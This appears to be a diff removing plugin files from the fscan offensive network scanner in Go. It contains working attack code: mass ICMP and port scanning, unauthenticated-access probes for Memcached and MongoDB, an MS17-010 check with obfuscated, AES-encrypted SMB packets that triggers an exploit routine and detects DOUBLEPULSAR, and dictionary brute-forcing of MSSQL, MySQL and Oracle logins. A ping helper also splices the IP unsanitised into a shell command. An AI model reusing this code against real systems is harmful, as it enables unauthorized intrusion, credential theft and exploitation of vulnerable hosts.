|
||||
var wait time.Duration
|
||||
switch {
|
||||
case len(hostslist) <= 256:
|
||||
wait = time.Second * 3
|
||||
default:
|
||||
wait = time.Second * 6
|
||||
}
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if ExecCommandPing(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string) bool {
|
||||
var command *exec.Cmd
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
case "darwin":
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
default: //linux
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
}
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err = command.Wait(); err != nil {
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
id0, id1 := genIdentifier(host)
|
||||
msg[0] = 8
|
||||
msg[1] = 0
|
||||
msg[2] = 0
|
||||
msg[3] = 0
|
||||
msg[4], msg[5] = id0, id1
|
||||
msg[6], msg[7] = genSequence(1)
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8)
|
||||
msg[3] = byte(check & 255)
|
||||
return msg
|
||||
}
|
||||
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
answer := uint16(^sum)
|
||||
return answer
|
||||
}
|
||||
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8)
|
||||
ret2 := byte(v & 255)
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1]
|
||||
}
|
||||
|
||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
||||
if len(arrInit) == 0 {
|
||||
return
|
||||
}
|
||||
arrMap1 := make(map[string]int)
|
||||
arrMap2 := make(map[string]int)
|
||||
for _, value := range arrInit {
|
||||
line := strings.Split(value, ".")
|
||||
if len(line) == 4 {
|
||||
if flag {
|
||||
value = fmt.Sprintf("%s.%s", line[0], line[1])
|
||||
} else {
|
||||
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
|
||||
}
|
||||
}
|
||||
if arrMap1[value] != 0 {
|
||||
arrMap1[value]++
|
||||
} else {
|
||||
arrMap1[value] = 1
|
||||
}
|
||||
}
|
||||
for k, v := range arrMap1 {
|
||||
arrMap2[k] = v
|
||||
}
|
||||
|
||||
i := 0
|
||||
for range arrMap1 {
|
||||
var maxCountKey string
|
||||
var maxCountVal = 0
|
||||
for key, val := range arrMap2 {
|
||||
if val > maxCountVal {
|
||||
maxCountVal = val
|
||||
maxCountKey = key
|
||||
}
|
||||
}
|
||||
arrTop = append(arrTop, maxCountKey)
|
||||
arrLen = append(arrLen, maxCountVal)
|
||||
i++
|
||||
if i >= length {
|
||||
return
|
||||
}
|
||||
delete(arrMap2, maxCountKey)
|
||||
}
|
||||
return
|
||||
}
|
@ -1,38 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer func() {
|
||||
if client != nil {
|
||||
client.Close()
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
@ -1,86 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
// op_msg
|
||||
packet1 := []byte{
|
||||
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||
0x39, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
//op_query
|
||||
packet2 := []byte{
|
||||
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||
0x02, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||
0x00, 0x00, 0x00, 0x00, // flags
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||
// query db.adminCommand({getLog: "startupWarnings"})
|
||||
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
checkUnAuth := func(address string, packet []byte) (string, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, err = conn.Write(packet)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(reply[0:count]), nil
|
||||
}
|
||||
|
||||
// send OP_MSG first
|
||||
reply, err := checkUnAuth(realhost, packet1)
|
||||
if err != nil {
|
||||
reply, err = checkUnAuth(realhost, packet2)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
}
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return flag, err
|
||||
}
|
@ -1,165 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
|
||||
sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key))
|
||||
treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key))
|
||||
transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key))
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
||||
return Err
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(transNamedPipeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
defer func() {
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(trans2SessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err
|
||||
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func OracleScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["oracle"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := OracleConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
||||
db, err := sql.Open("oracle", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
@ -1,118 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"sort"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
ip string
|
||||
port int
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
if len(probePorts) == 0 {
|
||||
fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
|
||||
return AliveAddress
|
||||
}
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
workers := common.Threads
|
||||
Addrs := make(chan Addr, 100)
|
||||
results := make(chan string, 100)
|
||||
var wg sync.WaitGroup
|
||||
|
||||
//接收结果
|
||||
go func() {
|
||||
for found := range results {
|
||||
AliveAddress = append(AliveAddress, found)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
//多线程扫描
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range Addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
//添加扫描目标
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
Addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
close(Addrs)
|
||||
close(results)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
host, port := addr.ip, addr.port
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
if err == nil {
|
||||
defer conn.Close()
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open", address)
|
||||
common.LogSuccess(result)
|
||||
wg.Add(1)
|
||||
respondingHosts <- address
|
||||
}
|
||||
}
|
||||
|
||||
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port, _ := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
